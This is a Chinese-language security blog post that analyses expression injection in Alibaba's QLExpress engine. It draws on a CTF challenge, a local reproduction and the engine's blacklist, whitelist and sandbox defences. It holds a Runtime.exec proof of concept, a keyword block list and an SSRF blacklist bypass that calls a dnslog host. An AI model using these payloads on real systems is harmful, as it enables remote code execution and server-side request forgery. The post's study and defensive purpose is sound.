前言
最近在学习 Java 表达式注入漏洞,前几天完成了 SpEL 表达式注入漏洞的学习:Java代码审计之SpEL表达式注入漏洞分析,而 Java 常见的表达式注入方式有 EL 表达式注入、SpEL 表达式注入和 OGNL 表达式注入等。关于 EL 表达式和 OGNL 表达式注入,可以参考我的另外的博文:
| 博文 | 内容介绍 | 发布时间 |
|---|---|---|
| JavaWeb-JSP | 介绍 JavaWeb 中,JSP 技术的角色和语法(内置对象、作用域等) | 2018.09.07 |
| JavaWeb-EL表达式 | 学习 EL 表达式在 JSP 技术中的应用,以及基础语法(作用域、内置对象等) | 2018.09.09 |
| JAVA代审之Struts2漏洞S2-057的调试分析 | 复现、调试分析 Struts2 框架 OGNL 表达式注入漏洞 | 2021.08.19 |
在开展一个技术点新的学习之前,个人觉得很有必要总结历史已经学习、发表的相关技术博文,一方面是为了回顾已积累的信息,避免浪费时间、重复造车,同时也能形成一个较系统的思维来梳理关联的知识。
关于 Java 表达式注入,另外再推荐一篇较为全面的总结性文章:Java安全学习—表达式注入。
而本文将展开学习的是阿里巴巴开源的一款动态脚本引擎解析工具——QLExpress,该脚本引擎在开发人员使用不当的情况下,容易造成表达式注入漏洞,形成 RCE 高危漏洞。
QLExpress
先看下官方文档对今天的主角的简介:

1.1 关注点的起源
网上对于 QLExpress 脚本引擎表达式注入漏洞的讨论和分析很少,它似乎是在 “华为杯”第一届中国研究生网络安全创新大赛实网对抗赛初赛 中的一道 CTF Web 题目(BabyQL)被带入网络安全研究人员的关注视线之中。
由于网上 CTF 平台暂时找不到该题目的训练环境,此处截取 官方提供的 WriteUp 信息展开介绍。题目提供了一个 jar 包,idea 查看源码如下:
public class AppController {
public AppController() {
}
@RequestMapping({"/"})
public String index() {
return "Welcome :)";
}
@RequestMapping({"/exp"})
public String exp(@RequestBody Map params) throws Exception {
String key = "guanzhujiarandundunjiechan";
String x = params.get("x").toString();
if (x.hashCode() == key.hashCode() && !x.equals("guanzhujiarandundunjiechan")) {
String cmd = params.get("cmd").toString();
Pattern pattern = Pattern.compile("process|runtime|javascript|\\+|char|\\\\|from|\\[|\\]|load", 2);
if (pattern.matcher(cmd).find()) {
return "nonono";
} else {
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext();
runner.execute(cmd, context, (List)null, true, false);
return "hack me";
}
} else {
return key;
}
}
}
直接总结一下上述代码涉及的“考察点”:
- 需要绕过第一个 if 判断中的 hashCode 校验,非核心关注点,不做讨论;
- 需要绕过第二个 if 判断中的 黑名单过滤,下文再单独讨论;
- 核心要点:
runner.execute(cmd, context, (List)null, true, false)中 cmd 参数由外部可控制,而ExpressRunner.execute函数属于 QLExpress 脚本引擎解析、执行表达式的高危函数,此处存在 QLExpress 脚本引擎表达式注入漏洞!
简而言之,最终官方提供的 WriteUp 便是绕过上述 hashCode 和黑名单校验,通过 cmd 参数进行表达式注入并反弹 Shell,达成 RCE。
1.2 本地搭建环境
由于上述 CTF 题目缺乏在线复现环境,故本文不过多 展开讨论,而是通过本地搭建漏洞环境来分析 QLExpress 脚本引擎表达式注入漏洞。

1、本地随意创建一个 Maven 项目,按照官方文档的指引,在 pom.xml 中添加依赖:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>QLExpress</artifactId>
<version>3.3.2</version>
</dependency>

2、接着即可进行调用测试:
public class QLExpressVulTest {
public static void qlExpressTest() {
try{
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<String, Object>();
context.put("a", 1);
context.put("b", 2);
context.put("c", 3);
String express = "a + b * c";
Object r = runner.execute(express, context, null, true, false);
System.out.println(r);
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) {
qlExpressTest();
}
}
程序执行结果:

上述程序通过 ExpressRunner.execute 函数执行了表达式a + b * c并给出了正确的计算结果。正如官方提醒的一样:
如果应用有让终端用户输入与执行 QLExpress 的功能,务必关注 多级别安全控制,将 QLExpress 的安全级别配置在白名单或以上。
3、比如新增测试代码如下,可执行命令运行本地计算器:
public static void qlExpressVul() {
try{
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<>();
runner.execute("Runtime.getRuntime().exec(\"calc\")", context, null, true, false);
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) {
qlExpressVul();
}

1.3 代码执行浅析
给 runner.execute 代码行增加断点,来看看为什么传入的 expressString 参数会被当作命令执行:

1、往下继续执行,首先会先判断是否启用缓存,若不启用缓存则调用 parseInstructionSet 进行语义分析,判断是否为合法的 java 代码:

2、此处 isCache == True,故走进 getInstructionSetFromLocalCache 函数,发现进行了词义解析后走到 executeReentrant 函数。

3、最终在 QLExpress-3.3.2.jar!\com\ql\util\express\InstructionSetRunner.class 的 execute 函数处执行了 java 代码:

多级别安全
正如上文所述,QLExpress 提供了自定义代码执行的功能ExpressRunner#execute(),但官方也同时提供了 配置代码执行的黑白名单、开启沙箱的多级别安全功能。

2.1 黑名单控制
QLExpess 目前默认添加的黑名单有:
java.lang.System.exit
java.lang.Runtime.exec
java.lang.ProcessBuilder.start
java.lang.reflect.Method.invoke
java.lang.reflect.Class.forName
java.lang.reflect.ClassLoader.loadClass
java.lang.reflect.ClassLoader.findClass
可以通过如下方式开启黑名单:
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
启用黑名单后,前文 1.2 章节的 poc 将无法继续触发:

同时 QLExpress 还支持用户通过 QLExpressRunStrategy.addSecurityRiskMethod 额外添加自定义黑名单。
但是可以看到默认黑名单简单的禁用了 Runtime 和 ProcessBuilder 等 class,实际上还有很多 bypass 的方法。
比如可以通过如下 POC 形成 SSRF 漏洞:
public static void qlExpressVul() {
try{
ExpressRunner runner = new ExpressRunner();
DefaultContext<String, Object> context = new DefaultContext<>();
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
String code = "import java.net.URL;" +
"import java.net.URLConnection;" +
"URLConnection url = new URL(\"http://x8y5kv.dnslog.cn\").openConnection();" +
"resp = url.getResponseCode();" +
"resp;";
runner.execute(code, context, null, true, false);
}catch (Exception e){
e.printStackTrace();
}
}
DNSlog 服务器成功接收到请求:

正因黑名单过滤存在的缺陷,官方特意做了安全提醒:
开启 QLExpress 黑名单控制默认会阻断一些高危的系统 API, 用户也可以自行添加, 但是开放对 JVM 中其他所有类与方法的访问,最灵活,但是很容易被反射工具类绕过,只适用于脚本安全性有其他严格控制的场景,禁止直接运行终端用户输入。
2.2 白名单控制
官方提供了白名单的方式,可以通过将预期类的方式加白,避免风险 class 加载,例如如下例子(开启黑名单后又给危险函数设置白名单):
QLExpressRunStrategy.setForbidInvokeSecurityRiskMethods(true);
QLExpressRunStrategy.addSecureMethod(Runtime.class, "getRuntime");
QLExpressRunStrategy.addSecureMethod(Runtime.class, "exec");

2.3 沙箱模式✔

开启沙箱模式的方法:
QLExpressRunStrategy.setSandBoxMode(true);

总结
本文总结学习了 QLExpress 脚本引擎表达式注入漏洞的基本原理和漏洞利用方式,并介绍了官方提供的漏洞防御机制及相关缺陷。可以看出,一旦研发在项目中引入 QLExpress 引擎,却未正确开启安全配置或校验外部传递的表达式,那么将导致系统存在远程代码执行漏洞的风险。
在 Java 白盒审计中如果遇到 QLExpress 引擎,请务必注意:
由于 QLExpress 脚本引擎的多级别安全功能并非默认启用,需要手动配置,故在未启用黑/白名单/沙箱情况下,若表达式参数可控,则可以任意代码执行。
本文参考文章和材料:
8042

被折叠的 条评论
为什么被折叠?



